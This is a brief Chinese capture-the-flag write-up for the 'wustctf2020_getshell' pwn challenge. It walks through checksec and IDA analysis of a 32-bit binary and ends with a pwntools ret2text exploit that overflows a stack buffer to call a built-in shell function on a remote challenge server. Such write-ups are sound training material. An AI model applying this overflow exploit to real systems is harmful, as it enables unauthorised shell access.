wustctf2020_getshell
使用checksec
查看:
只开启了一个栈不可执行,没开Canary,考虑栈溢出题目。
拉进IDA中查看:
主函数中直接给漏洞函数,跟进:
read()
函数,能读取0x20
的数据,buf
距离ebp0x18
,因为这是个32位的程序,ebp+4后还能放下一个one_gadget
首先考虑下这个程序本身有没有get_shell的函数,通过搜索字符串可以发现函数shell()
:
ok了,这题直接秒了。
exp:
from pwn import *
#start
# r = process("../buu/wustctf2020_getshell")
r = remote("node4.buuoj.cn",25248)
#params
shell_addr = 0x804851B
#attack
payload = b'M'*(0x18+4) + p32(shell_addr)
r.sendline(payload)
r.interactive()